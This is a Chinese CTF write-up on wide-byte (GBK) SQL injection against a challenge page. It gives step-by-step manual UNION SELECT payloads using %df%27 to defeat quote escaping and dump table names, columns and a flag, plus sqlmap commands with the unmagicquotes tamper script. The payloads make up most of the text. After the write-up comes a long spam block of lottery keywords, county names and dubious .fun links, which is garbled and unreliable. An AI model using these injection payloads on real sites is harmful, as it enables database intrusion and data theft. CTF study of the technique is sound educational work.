<address id="rzhzj"></address>

      <address id="rzhzj"></address>

          (宽字节注入) 手注+sqlmap

          进入题目后先简单尝试一下。

          分享图片

           

          很明显的宽字节注入。

          宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

          手工注入
          1、判断列数:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
          order by 3 时报错,说明只有两列。

          2、各类信息:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
          [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

          3、库名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
          sae-chinalover

          4、表名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(table_name)
          from information_schema.tables
          where table_schema=database()%23
          ctf,ctf2,ctf3,ctf4,news

          5、ctf4表的列名:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,group_concat(column_name)
          from information_schema.columns
          where table_name=0x63746634%23
          id,flag

          这里注意:要将表名ctf4转为16进制

          这里提供一个字符串转16进制的网站:

          http://www.5ixuexiwang.com/str/hex.php

          转了16进制之后记得在前面加上0x

          6、flag列的数据:
          http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
          union select 2,(select flag from ctf4)%23
          flag{this_is_sqli_flag}

          sqlmap跑法
          1、查看有哪些库:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
          这个时侯就要用到一个脚本了:

          脚本名:unmagicquotes.py

          作用:宽字符绕过

          分享图片

           

           

          2、表名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

          分享图片

           

           

          3、列名:

          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

           分享图片

           

           

          4、flag列的数据:
          sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

          分享图片

          相关文章
          相关标签/搜索
          平特3肖怎么赔多少香港开奖现场结果直播,香港开奖结果2018,2018香港开奖记录开奖结果,平特一肖大公开 高碑店市| 八宿县| 麟游县| 江油市| 合作市| 巴塘县| 玉屏| 民勤县| 澄江县| 怀柔区| 东方市| 久治县| 山阴县| 麦盖提县| 滁州市| 石泉县| 庐江县| 怀来县| 上虞市| 自贡市| 阿瓦提县| 株洲县| 民权县| 寿阳县| 玉屏| 瓦房店市| 临高县| 衡山县| 乐陵市| 五家渠市| 灵武市| 全椒县| 麟游县| 崇左市| 徐汇区| 当涂县| 甘南县| 游戏| 尖扎县| 廉江市| 涡阳县| 南投市| 佛坪县| 喀什市| 于都县| 汨罗市| 渭源县| 盐池县| 柳林县| 霍林郭勒市| 太保市| 施秉县| 岗巴县| 丹寨县| 乐昌市| 丹江口市| 长汀县| 泰宁县| 宁海县| 莱芜市| 梁河县| 富川| 太仆寺旗| 南昌县| 余姚市| 正镶白旗| 新泰市| 彭水| 昌宁县| 闵行区| 五华县| 阿巴嘎旗| 鸡泽县| 东乌珠穆沁旗| 太湖县| 卢氏县| 汉中市| 清镇市| 阜宁县| 云龙县| 东乡县| 凤台县| 永德县| 土默特右旗| 包头市| 来宾市| 新巴尔虎右旗| 桐庐县| 兴安县| 会宁县| 奎屯市| 马边| 犍为县| 芦山县| 白山市| 佛冈县| 山西省| 渝中区| 洛川县| 凉山| 灯塔市| 湖州市| 临沂市| 宿松县| 泸定县| 鹤峰县| 徐闻县| 桦甸市| 达州市| 多伦县| 驻马店市| 山西省| 横峰县| 青铜峡市| 河南省| 武乡县| 怀仁县| 黄龙县| 鹤壁市| 肇源县| 东乌| 永福县| 东宁县| 龙岩市| 揭东县| 洪雅县| 合水县| 任丘市| 分宜县| 青川县| 宜章县| 新丰县| 于都县| 彩票| 霍林郭勒市| 西林县| 石楼县| 巴南区| 石林| 陆良县| 利津县| 咸宁市| 大邑县| 巴塘县| 达日县| 黄陵县| 太仓市| 苗栗市| 天峻县| 宜州市| 当雄县| 通河县| 二手房| 柘城县| 钟祥市| 武隆县| 克山县| 浦东新区| 迭部县| 绥江县| 佛冈县| 兴宁市| 白银市| 宁夏| 南丰县| 西安市| 连江县| 荔波县| 漳平市| 清镇市| 微博| 孟津县| 即墨市| 浙江省| 穆棱市| 临洮县| 湖口县| 弥渡县| 博乐市| 陕西省| 故城县| 静宁县| 农安县| 衡南县| 景洪市| 乐至县| 冷水江市| 湖州市| 阳高县| 博野县| 吉木萨尔县| 兴文县| 七台河市| 易门县| 台安县| 安龙县| 阿克陶县| 涟水县| 柳州市| 宜良县| 武定县| 湛江市| 盐源县| 微山县| 伊金霍洛旗| 房山区| 丰都县| 齐齐哈尔市| 调兵山市| 寿宁县| 海口市| 新闻| 元阳县| 乌拉特前旗| 长寿区| 平南县| 通海县| 诸城市| 满洲里市| 镇巴县| 株洲市| 清水河县| 慈利县| 仲巴县| 迁西县| 虹口区| 金山区| 伊川县| 合川市| 罗江县| 天峻县| 临夏市| 黄大仙区| 加查县| 叙永县| 蓬莱市| 紫云| 方正县| 高碑店市| 高阳县| 东莞市| 华亭县| 抚顺市| 漳浦县| 浦城县| 砀山县| 进贤县| 涿鹿县| 宁远县| 上饶县| 房产| 军事| 康乐县| 南溪县| 色达县| 图们市| 岳阳市| 时尚| 靖远县| 佳木斯市| 龙胜| 潍坊市| 博客| 肇州县| 内江市| 永年县| 福泉市| 淅川县| 海淀区| 烟台市| 抚宁县| 霍山县| 东阿县| 巴东县| 兴宁市| 甘谷县| 安乡县| 汶上县| 池州市| 神池县| 秦安县| 明光市| SHOW| 葵青区| 济阳县| 石阡县| 饶阳县| 永定县| 遂川县| 荣成市| 永康市| 龙井市| 天长市| 清水河县| 敖汉旗| 临洮县| 临沂市| 克东县| 霞浦县| 荣成市| 新巴尔虎右旗| 云霄县| 武鸣县| 隆安县| 建水县| 仪陇县| 海口市| 宣城市| 平顶山市| 呼图壁县| 潍坊市| 吴堡县| 鄂州市| 元江| 吴桥县| 浏阳市| 涟源市| 武功县| 和林格尔县| 德州市| 灵丘县| 平定县| 杂多县| 巩义市| 正镶白旗| 江门市| 赞皇县| 津市市| 汽车| 富宁县| 乌鲁木齐县| 孟津县| 驻马店市| 遂平县| 宜川县| 盐津县| 漠河县| 永定县| 崇文区| 淳化县| 松阳县| 兴仁县| 正宁县| 广丰县| 静安区| 汤原县| 七台河市| 高台县| 三江| 微山县| 南雄市| 金寨县| 多伦县| 凤庆县| 宁海县| 舟曲县| 桐城市| 东乌| 盘山县| 隆回县| 德惠市| 黎川县| 咸宁市| 越西县| 银川市| 东乌珠穆沁旗| 宁武县| 甘孜县| 洪泽县| 响水县| 承德市| 来宾市| 方城县| 泰来县| 湘阴县| 马边| 乐亭县| 宁化县| 莱芜市| 琼海市| 奉贤区| 江城| 雅江县| 来凤县| 滕州市| 孟村| 永济市| 翁源县| 霍城县| 弋阳县| 凤凰县| 宜川县| 石景山区| 宁武县| 汝阳县| 梁山县| 南京市| 佛学| 西林县| 巴林右旗| 英德市| 新疆| 泾阳县| 九江县| 五华县| 涡阳县| 平昌县| 长春市| 梓潼县| 湛江市| 聂荣县| 溆浦县| 霍山县| 麻阳| 桐城市| 南澳县| 太湖县| 高邑县| 云霄县| 石渠县| 伊金霍洛旗| 昌宁县| 包头市| 昔阳县| 湟中县| 塔城市| 扶绥县| 牟定县| 金阳县| 浠水县| 景德镇市| 酒泉市| 兰西县| 长寿区| 嘉峪关市| 喜德县| 星座| 鄂托克前旗| 扶风县| 武乡县| 湘乡市| 玉溪市| 南京市| 合水县| 竹溪县| 孟津县| 日土县| 汉沽区| 西宁市| 攀枝花市| 关岭| 环江| 蒙山县| 利川市| 余江县| 沽源县| 碌曲县| 淅川县| 克什克腾旗| 马公市| 陆丰市| 沁源县| 兴安县| 乡宁县| 龙岩市| 双桥区| 甘谷县| 克东县| 夏邑县| 莱西市| 安远县| 葫芦岛市| 栾城县| 自贡市| 祁阳县| 婺源县| 绥芬河市| 都江堰市| 海兴县| 京山县| 罗甸县| 若尔盖县| 兴安盟| 招远市| 天台县| 赫章县| 谢通门县| 九龙坡区| 永顺县| 兴国县| 沈阳市| 抚顺市| 岚皋县| 萍乡市| 株洲县| 巴林左旗| 赫章县| 牡丹江市| 濮阳县| 温宿县| 永吉县| 东源县| 皮山县| 库尔勒市| 焦作市| 武城县| 含山县| 宁武县| 友谊县| 辽阳市| 江源县| 天津市| 和田市| 怀集县| 东乌珠穆沁旗| 宁蒗| 咸丰县| 甘谷县| 即墨市| 新丰县| 白水县| 四平市| 鄄城县| 西华县| 萍乡市| 龙口市| 长葛市| 吉林省| 邮箱| 蓝田县| 邵武市| 平陆县| 壤塘县| 偃师市| 二手房| 舞钢市| 临泽县| 龙江县| 和平县| 六枝特区| 手游| 莎车县| 台南县| 承德市| 平定县| 无极县| 五台县| 循化| 临泉县| 柘荣县| 土默特右旗| 镶黄旗| 邻水| 江华| 化德县| 吉安市| 靖边县| 隆德县| 宣城市| 河南省| 远安县| 万州区| 永顺县| 于都县| 温州市| 肇东市| 扎兰屯市| 甘泉县| 达州市| 南昌县| 哈密市| 修武县| 翼城县| 茌平县| 精河县| 旅游| 左云县| 包头市| 苏尼特左旗| 贵溪市| 德安县| 仙游县| 二连浩特市| 苏州市| 平陆县| 中卫市| 万州区| 桦川县| 屏东县| 桓台县| 天长市| 壤塘县| 鄂托克旗| 宜良县| 凉城县| 桓台县| 永寿县| 阿图什市| 辽宁省| 塘沽区| 达拉特旗| 长子县| 金塔县| 牟定县| 芦山县| 威海市| 海门市| 稻城县| 河西区| 桦南县| 云阳县| 安溪县| 宁乡县| 皋兰县| 陈巴尔虎旗| http://wap.jx1870gov.fun http://m.jx1870izprovev.fun http://www.hz0j2r5vo.fun http://jx1870enhancev.fun http://jx1870insertv.fun http://m.jx1870gunv.fun http://www.jx1870firev.fun http://jx1870kidv.fun http://wap.jx1870generatev.fun http://hz0j0r3vo.fun http://jx1870forecastv.fun http://wap.jx1870leadv.fun http://m.jx1870helpv.fun http://m.jx1870forestv.fun http://m.jx1870fordv.fun http://jx1870grantv.fun http://jx1870functionv.fun http://www.hz0j1r5vo.fun